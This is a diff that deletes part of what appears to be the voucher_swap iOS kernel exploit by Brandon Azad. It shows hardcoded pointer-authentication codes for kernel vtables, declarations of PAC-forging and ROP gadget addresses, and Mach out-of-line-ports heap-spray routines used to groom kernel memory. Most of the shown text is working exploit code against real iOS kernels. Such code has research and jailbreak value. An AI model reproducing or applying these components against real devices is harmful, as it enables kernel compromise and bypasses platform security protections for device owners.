0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
|
||||
0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
|
||||
0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
|
||||
0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
|
||||
0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
|
||||
0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
|
||||
0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
|
||||
0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
|
||||
0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
|
||||
0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
|
||||
0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
|
||||
0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
|
||||
0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
|
||||
0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
|
||||
0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
|
||||
0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
|
||||
0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
|
||||
0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
|
||||
0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
|
||||
0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
|
||||
0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
|
||||
0x2bcb);
|
||||
|
||||
INIT_VTABLE_PAC_CODES(IODTNVRAM,
|
||||
0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
|
||||
0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
|
||||
0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
|
||||
0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
|
||||
0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
|
||||
0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
|
||||
0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
|
||||
0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
|
||||
0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
|
||||
0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
|
||||
0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
|
||||
0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
|
||||
0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
|
||||
0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
|
||||
0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
|
||||
0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
|
||||
0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
|
||||
0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
|
||||
0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
|
||||
0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
|
||||
0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428,
|
||||
0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584,
|
||||
0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201,
|
||||
0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7,
|
||||
0xb1db, 0x7d35, 0xb06d, 0xcf08);
|
||||
}
|
||||
|
||||
// A list of PAC initializations by platform.
|
||||
static struct initialization pac_codes[] = {
|
||||
{ "*", "*", pac__iphone11_8__16C50 },
|
||||
};
|
||||
|
||||
#endif // __arm64e__
|
||||
|
||||
// ---- Public API --------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_call_parameters_init() {
|
||||
bool ok = kernel_slide_init();
|
||||
if (!ok) {
|
||||
return false;
|
||||
}
|
||||
size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
|
||||
if (count < 1) {
|
||||
ERROR("no kernel_call %s for %s %s", "offsets",
|
||||
platform.machine, platform.osversion);
|
||||
return false;
|
||||
}
|
||||
count = run_initializations(addresses, ARRAY_COUNT(addresses));
|
||||
if (count < 1) {
|
||||
ERROR("no kernel_call %s for %s %s", "addresses",
|
||||
platform.machine, platform.osversion);
|
||||
return false;
|
||||
}
|
||||
#if __arm64e__
|
||||
count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
|
||||
if (count < 1) {
|
||||
ERROR("no kernel_call %s for %s %s", "PAC codes",
|
||||
platform.machine, platform.osversion);
|
||||
return false;
|
||||
}
|
||||
#endif // __arm64e__
|
||||
return true;
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
/*
|
||||
* kernel_call/kc_parameters.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
|
||||
#define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "parameters.h"
|
||||
|
||||
#ifdef KERNEL_CALL_PARAMETERS_EXTERN
|
||||
#define extern KERNEL_CALL_PARAMETERS_EXTERN
|
||||
#endif
|
||||
|
||||
// A structure describing the PAC codes used as part of the context for signing and verifying
|
||||
// virtual method pointers in a vtable.
|
||||
struct vtable_pac_codes {
|
||||
size_t count;
|
||||
const uint16_t *codes;
|
||||
};
|
||||
|
||||
// Generate the name for an offset in a virtual method table.
|
||||
#define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
|
||||
|
||||
// Generate the name for a list of vtable PAC codes.
|
||||
#define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
|
||||
|
||||
// A helper macro for INIT_VTABLE_PAC_CODES().
|
||||
#define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
|
||||
|
||||
// Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
|
||||
// we place it in a static variable. Consequently, this macro will produce name conflicts if used
|
||||
// outside a function.
|
||||
#define INIT_VTABLE_PAC_CODES(class_, ...) \
|
||||
static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
|
||||
VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
|
||||
.count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
|
||||
.codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
|
||||
}
|
||||
|
||||
extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
|
||||
extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
|
||||
extern uint64_t ADDRESS(l2tp_domain_inited);
|
||||
extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
|
||||
extern uint64_t ADDRESS(sysctl_unregister_oid);
|
||||
extern uint64_t ADDRESS(mov_x0_x4__br_x5);
|
||||
extern uint64_t ADDRESS(mov_x9_x0__br_x1);
|
||||
extern uint64_t ADDRESS(mov_x10_x3__br_x6);
|
||||
extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
|
||||
extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
|
||||
extern uint64_t ADDRESS(IOUserClient__vtable);
|
||||
extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
|
||||
|
||||
extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
|
||||
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
|
||||
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
|
||||
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
|
||||
|
||||
extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
|
||||
extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM);
|
||||
|
||||
// Parameters for IOAudio2DeviceUserClient.
|
||||
extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
|
||||
|
||||
// Parameters for IOExternalTrap.
|
||||
extern size_t SIZE(IOExternalTrap);
|
||||
extern size_t OFFSET(IOExternalTrap, object);
|
||||
extern size_t OFFSET(IOExternalTrap, function);
|
||||
extern size_t OFFSET(IOExternalTrap, offset);
|
||||
|
||||
// Parameters for IORegistryEntry.
|
||||
extern size_t OFFSET(IORegistryEntry, reserved);
|
||||
extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
|
||||
|
||||
// Parameters for IOUserClient.
|
||||
extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
|
||||
extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
|
||||
|
||||
/*
|
||||
* kernel_call_parameters_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize the addresses used in the kernel_call subsystem.
|
||||
*/
|
||||
bool kernel_call_parameters_init(void);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -1,597 +0,0 @@
|
||||
/*
|
||||
* kernel_alloc.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "kernel_alloc.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "parameters.h"
|
||||
#include "platform.h"
|
||||
#include "common.h"
|
||||
|
||||
// Compute the minimum of 2 values.
|
||||
#define min(a, b) ((a) < (b) ? (a) : (b))
|
||||
|
||||
size_t
|
||||
message_size_for_kalloc_size(size_t kalloc_size) {
|
||||
if (kalloc_size <= kmsg_zone_size) {
|
||||
return 0;
|
||||
}
|
||||
// Thanks Ian!
|
||||
return ((3 * kalloc_size) / 4) - 0x74;
|
||||
}
|
||||
|
||||
size_t
|
||||
kalloc_size_for_message_size(size_t message_size) {
|
||||
if (message_size <= message_size_for_kmsg_zone) {
|
||||
return 0;
|
||||
}
|
||||
return message_size + ((message_size - 28) / 12) * 4 + 164;
|
||||
}
|
||||
|
||||
size_t
|
||||
ipc_kmsg_size_for_message_size(size_t message_size) {
|
||||
if (message_size <= message_size_for_kmsg_zone) {
|
||||
return kmsg_zone_size;
|
||||
}
|
||||
return kalloc_size_for_message_size(message_size);
|
||||
}
|
||||
|
||||
// A message containing out-of-line ports.
|
||||
struct ool_ports_msg {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports[0];
|
||||
};
|
||||
|
||||
size_t
|
||||
ool_ports_spray_port(mach_port_t holding_port,
|
||||
const mach_port_t *ool_ports, size_t port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t ool_count,
|
||||
size_t message_size, size_t message_count) {
|
||||
// Calculate the size of each component.
|
||||
struct ool_ports_msg *msg;
|
||||
// Sanity checks.
|
||||
assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size);
|
||||
assert(port_count * ool_count <= max_ool_ports_per_message);
|
||||
assert(message_count <= MACH_PORT_QLIMIT_MAX);
|
||||
// Allocate a message containing the required number of OOL ports descriptors.
|
||||
msg = calloc(1, message_size);
|
||||
assert(msg != NULL);
|
||||
// Trace the kalloc allocations we're about to perform.
|
||||
DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__,
|
||||
ool_count * message_count, port_count * sizeof(uint64_t),
|
||||
message_count, kalloc_size_for_message_size(message_size));
|
||||
// If the user didn't supply any ool_ports, create our own.
|
||||
mach_port_t *alloc_ports = NULL;
|
||||
if (ool_ports == NULL) {
|
||||
alloc_ports = calloc(port_count, sizeof(mach_port_t));
|
||||
assert(alloc_ports != NULL);
|
||||
ool_ports = alloc_ports;
|
||||
}
|
||||
// Populate the message. Each OOL ports descriptor will be a kalloc.
|
||||
msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg->header.msgh_remote_port = holding_port;
|
||||
msg->header.msgh_size = (mach_msg_size_t) message_size;
|
||||
msg->header.msgh_id = 'ools';
|
||||
msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count;
|
||||
mach_msg_ool_ports_descriptor_t ool_descriptor = {};
|
||||
ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
ool_descriptor.address = (void *) ool_ports;
|
||||
ool_descriptor.count = (mach_msg_size_t) port_count;
|
||||
ool_descriptor.deallocate = FALSE;
|
||||
ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
ool_descriptor.disposition = ool_disposition;
|
||||
for (size_t i = 0; i < ool_count; i++) {
|
||||
msg->ool_ports[i] = ool_descriptor;
|
||||
}
|
||||
// Send the messages.
|
||||
size_t messages_sent = 0;
|
||||
for (; messages_sent < message_count; messages_sent++) {
|
||||
kern_return_t kr = mach_msg(
|
||||
&msg->header,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t) message_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
|
||||
break;
|
||||
}
|
||||
}
|
||||
// Clean up the allocated ports.
|
||||
SafeFreeNULL(alloc_ports);
|
||||
// Return the number of messages we sent.
|
||||
return messages_sent;
|
||||
}
|
||||
|
||||
/*
|
||||
* kalloc_spray_compute_message_shape
|
||||
*
|
||||
* Description:
|
||||
* Compute the shape of a message to maximally spray the specified kalloc zone. This spray is
|
||||
* good for consuming memory, not for overwriting memory with specific contents.
|
||||
*/
|
||||
static void
|
||||
kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone,
|
||||
size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) {
|
||||
assert(kmsg_zone_size < kalloc_min);
|
||||
assert(kalloc_min <= kalloc_zone);
|
||||
// We always want to maximize the number of OOL port kalloc allocations per message, so let
|
||||
// the message take up the a full zone element if needed.
|
||||
size_t max_message_size = message_size_for_kalloc_size(kalloc_zone);
|
||||
// Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message,
|
||||
// we always want to send the minimum number of OOL ports in each descriptor (since adding
|
||||
// more ports in a descriptor only counts against the limit without increasing the number
|
||||
// of allocations). Thus, use the smallest number of ports that gets us at least
|
||||
// kalloc_min.
|
||||
size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t);
|
||||
// How many OOL ports descriptors can we send per message? As many as we'd like, as long
|
||||
// as:
|
||||
// 1. we have space for them in the message, and
|
||||
// 2. we don't blow through the max_ool_ports_per_message limit.
|
||||
size_t max_ools_by_message_size =
|
||||
(max_message_size - sizeof(mach_msg_base_t))
|
||||
/ sizeof(mach_msg_ool_ports_descriptor_t);
|
||||
size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_;
|
||||
size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit);
|
||||
// Now that we know how many OOL ports descriptors we can send per message, let's calculate
|
||||
// the message size. If the message size is too small, we'll just round it up.
|
||||
size_t message_size_ = sizeof(mach_msg_base_t)
|
||||
+ ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t);
|
||||
assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
|
||||
if (kalloc_size_for_message_size(message_size_) < kalloc_min) {
|
||||
size_t kalloc_min_rounded = (kalloc_min + 15) & ~15;
|
||||
message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3;
|
||||
}
|
||||
assert(kalloc_min <= kalloc_size_for_message_size(message_size_));
|
||||
assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
|
||||
// Return the values.
|
||||
*message_size = message_size_;
|
||||
*ools_per_message = ools_per_message_;
|
||||
*ports_per_ool = ports_per_ool_;
|
||||
}
|
||||
|
||||
size_t
|
||||
kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
|
||||
size_t kalloc_count) {
|
||||
// First compute the message shape for spraying the specified zone.
|
||||
size_t message_size, ools_per_message, ports_per_ool;
|
||||
kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone,
|
||||
&message_size, &ools_per_message, &ports_per_ool);
|
||||
assert(min_kalloc_size <= kalloc_size_for_message_size(message_size));
|
||||
assert(kalloc_size_for_message_size(message_size) <= kalloc_zone);
|
||||
assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t));
|
||||
assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone);
|
||||
assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size);
|
||||
// How many allocations does each message we send give us? Well, there's 1 allocation for
|
||||
// the message and 1 allocation for each OOL ports descriptor.
|
||||
size_t kallocs_per_message = 1 + ools_per_message;
|
||||
// How many full/partial messages will we need to spray kalloc_count allocations? If the
|
||||
// number of full messages is greater than the queue limit, truncate to that many messages.
|
||||
size_t full_message_count = kalloc_count / kallocs_per_message;
|
||||
size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message;
|
||||
if (full_message_count >= MACH_PORT_QLIMIT_MAX) {
|
||||
full_message_count = MACH_PORT_QLIMIT_MAX;
|
||||
partial_message_kalloc_count = 0;
|
||||
}
|
||||
// Alright, so now we have all the parameters we need. Spray all the full messages to the
|
||||
// port.
|
||||
DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, "
|
||||
"%zu ports per descriptor, %zu kallocs (%zu bytes) per message",
|
||||
__func__, full_message_count, ools_per_message, ports_per_ool,
|
||||
kallocs_per_message, kallocs_per_message * kalloc_zone);
|
||||
size_t full_messages_sent = ool_ports_spray_port(
|
||||
holding_port,
|
||||
NULL,
|
||||
ports_per_ool,
|
||||
MACH_MSG_TYPE_MAKE_SEND,
|
||||
ools_per_message,
|
||||
message_size,
|
||||
full_message_count);
|
||||
size_t full_messages_kallocs = full_messages_sent * kallocs_per_message;
|
||||
// If we sent all the full messages (indicating no errors were encountered) and we also
|
||||
// want to send a partial message, send that.
|
||||
size_t partial_message_kallocs = 0;
|
||||
if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) {
|
||||
size_t partial_message_ools = partial_message_kalloc_count - 1;
|
||||
size_t partial_messages_sent = ool_ports_spray_port(
|
||||
holding_port,
|
||||
NULL,
|
||||
ports_per_ool,
|
||||
MACH_MSG_TYPE_MAKE_SEND,
|
||||
partial_message_ools,
|
||||
message_size,
|
||||
1);
|
||||
partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count;
|
||||
}
|
||||
// Finally, return the total number of kallocs stashed in our port.
|
||||
assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count);
|
||||
return full_messages_kallocs + partial_message_kallocs;
|
||||
}
|
||||
|
||||
size_t
|
||||
kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
|
||||
size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) {
|
||||
size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone;
|
||||
size_t count = *port_count;
|
||||
// Spray to each of the ports in turn.
|
||||
size_t kallocs_left = kallocs_needed;
|
||||
size_t ports_used = 0;
|
||||
for (; ports_used < count && kallocs_left > 0; ports_used++) {
|
||||
size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used],
|
||||
min_kalloc_size, kalloc_zone, kallocs_left);
|
||||
assert(kallocs_done <= kallocs_left);
|
||||
kallocs_left -= kallocs_done;
|
||||
}
|
||||
// Compute how many kallocs were actually performed.
|
||||
size_t kallocs_done = kallocs_needed - kallocs_left;
|
||||
if (kallocs_left > 0) {
|
||||
WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone);
|
||||
}
|
||||
// Return the number of ports actually used and the number of bytes actually sprayed.
|
||||
*port_count = ports_used;
|
||||
return kallocs_done * kalloc_zone;
|
||||
}
|
||||
|
||||
mach_port_t *
|
||||
create_ports(size_t count) {
|
||||
mach_port_t *ports = calloc(count, sizeof(*ports));
|
||||
assert(ports != NULL);
|
||||
mach_port_options_t options = {};
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
}
|
||||
return ports;
|
||||
}
|
||||
|
||||
void
|
||||
destroy_ports(mach_port_t *ports, size_t count) {
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
if (MACH_PORT_VALID(port)) {
|
||||
kern_return_t kr = mach_port_destroy(mach_task_self(), port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
ERROR("%s returned %d: %s", "mach_port_destroy",
|
||||
kr, mach_error_string(kr));
|
||||
}
|
||||
}
|
||||
ports[i] = MACH_PORT_DEAD;
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
deallocate_ports(mach_port_t *ports, size_t count) {
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
if (MACH_PORT_VALID(port)) {
|
||||
kern_return_t kr = mach_port_deallocate(mach_task_self(), port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
ERROR("%s returned %d: %s", "mach_port_deallocate",
|
||||
kr, mach_error_string(kr));
|
||||
}
|
||||
}
|
||||
ports[i] = MACH_PORT_DEAD;
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
port_increase_queue_limit(mach_port_t port) {
|
||||
mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX };
|
||||
kern_return_t kr = mach_port_set_attributes(
|
||||
mach_task_self(),
|
||||
port,
|
||||
MACH_PORT_LIMITS_INFO,
|
||||
(mach_port_info_t) &limits,
|
||||
MACH_PORT_LIMITS_INFO_COUNT);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
}
|
||||
|
||||
void
|
||||
port_insert_send_right(mach_port_t port) {
|
||||
kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port,
|
||||
MACH_MSG_TYPE_MAKE_SEND);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
}
|
||||
|
||||
/*
|
||||
* ool_ports_spray_size_with_gc_compute_parameters
|
||||
*
|
||||
* Description:
|
||||
* Compute the spray parameters for ool_ports_spray_size_with_gc().
|
||||
*/
|
||||
static void
|
||||
ool_ports_spray_size_with_gc_compute_parameters(
|
||||
size_t ports_per_ool, size_t message_size, size_t spray_size,
|
||||
size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) {
|
||||
// Each message will contain no more than gc_step bytes of OOL ports.
|
||||
const size_t max_ool_memory_per_message = gc_step;
|
||||
// How many OOL ports descriptors can we send per message? As many as we'd like, as long
|
||||
// as:
|
||||
// 1. we aren't sending more than gc_step bytes of OOL ports in a message,
|
||||
// 2. we have space for them in the message, and
|
||||
// 3. we don't blow through the max_ool_ports_per_message limit.
|
||||
size_t ool_size_ = ports_per_ool * sizeof(uint64_t);
|
||||
size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_;
|
||||
size_t max_ools_by_message_size =
|
||||
(message_size - sizeof(mach_msg_base_t))
|
||||
/ sizeof(mach_msg_ool_ports_descriptor_t);
|
||||
size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool;
|
||||
size_t ools_per_message_ = min(max_ools_by_memory,
|
||||
min(max_ools_by_message_size, max_ools_by_port_limit));
|
||||
// How many OOL port descriptors will we need to spray? Enough to fill all the requested
|
||||
// memory.
|
||||
size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_;
|
||||
// Return the parameters.
|
||||
*ool_size = ool_size_;
|
||||
*ools_per_message = ools_per_message_;
|
||||
*ools_needed = ools_needed_;
|
||||
}
|
||||
|
||||
size_t
|
||||
ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
|
||||
size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t spray_size) {
|
||||
// Compute the parameters for the spray.
|
||||
size_t ool_size, ools_per_message, ools_needed;
|
||||
ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size,
|
||||
&ool_size, &ools_per_message, &ools_needed);
|
||||
// Spray to each of the ports in turn until we've created the requisite number of OOL ports
|
||||
// allocations.
|
||||
ssize_t ools_left = ools_needed;
|
||||
size_t sprayed = 0;
|
||||
size_t next_gc_step = 0;
|
||||
size_t port_count = *holding_port_count;
|
||||
size_t ports_used = 0;
|
||||
for (; ports_used < port_count && ools_left > 0; ports_used++) {
|
||||
// Spray this port one message at a time until we've maxed out its queue.
|
||||
size_t messages_sent = 0;
|
||||
for (; messages_sent < (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) {
|
||||
// If we've crossed the GC sleep boundary, sleep for a bit and schedule the
|
||||
// next one.
|
||||
if (sprayed >= next_gc_step) {
|
||||
next_gc_step += gc_step;
|
||||
pthread_yield_np();
|
||||
usleep(10000);
|
||||
fprintf(stderr, ".");
|
||||
}
|
||||
// Send a message.
|
||||
size_t sent = ool_ports_spray_port(
|
||||
holding_ports[ports_used],
|
||||
ool_ports,
|
||||
ool_port_count,
|
||||
ool_disposition,
|
||||
ools_per_message,
|
||||
message_size,
|
||||
1);
|
||||
// If we couldn't send a message to this port, stop trying to send more
|
||||
// messages and move on to the next port.
|
||||
if (sent != 1) {
|
||||
assert(sent == 0);
|
||||
break;
|
||||
}
|
||||
// We sent a full message worth of OOL port descriptors.
|
||||
sprayed += ools_per_message * ool_size;
|
||||
ools_left -= ools_per_message;
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "\n");
|
||||
// Return the number of ports actually used and the number of bytes actually sprayed.
|
||||
*holding_port_count = ports_used;
|
||||
return sprayed;
|
||||
}
|
||||
|
||||
void
|
||||
port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) {
|
||||
kern_return_t kr;
|
||||
mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT
|
||||
| MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
|
||||
| MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL);
|
||||
// Allocate an initial message buffer.
|
||||
mach_msg_size_t msg_size = 0x4000;
|
||||
mach_msg_base_t *msg = malloc(msg_size);
|
||||
assert(msg != NULL);
|
||||
// Loop through all the messages queued on the port.
|
||||
for (;;) {
|
||||
// Try to receive the message. If the buffer isn't big enough, reallocate
|
||||
// and try again. This should only happen twice.
|
||||
for (size_t try = 0;; try++) {
|
||||
assert(try < 2);
|
||||
// Receive the message.
|
||||
kr = mach_msg(
|
||||
&msg->header,
|
||||
options,
|
||||
0,
|
||||
msg_size,
|
||||
port,
|
||||
0,
|
||||
MACH_PORT_NULL);
|
||||
if (kr != MACH_RCV_LARGE) {
|
||||
break;
|
||||
}
|
||||
// The buffer was too small, increase it.
|
||||
msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options);
|
||||
SafeFreeNULL(msg);
|
||||
msg = malloc(msg_size);
|
||||
assert(msg != NULL);
|
||||
}
|
||||
// If we got an error, stop processing messages on this port. If the error is a
|
||||
// timeout, that means that we've exhausted the queue, so don't print an error
|
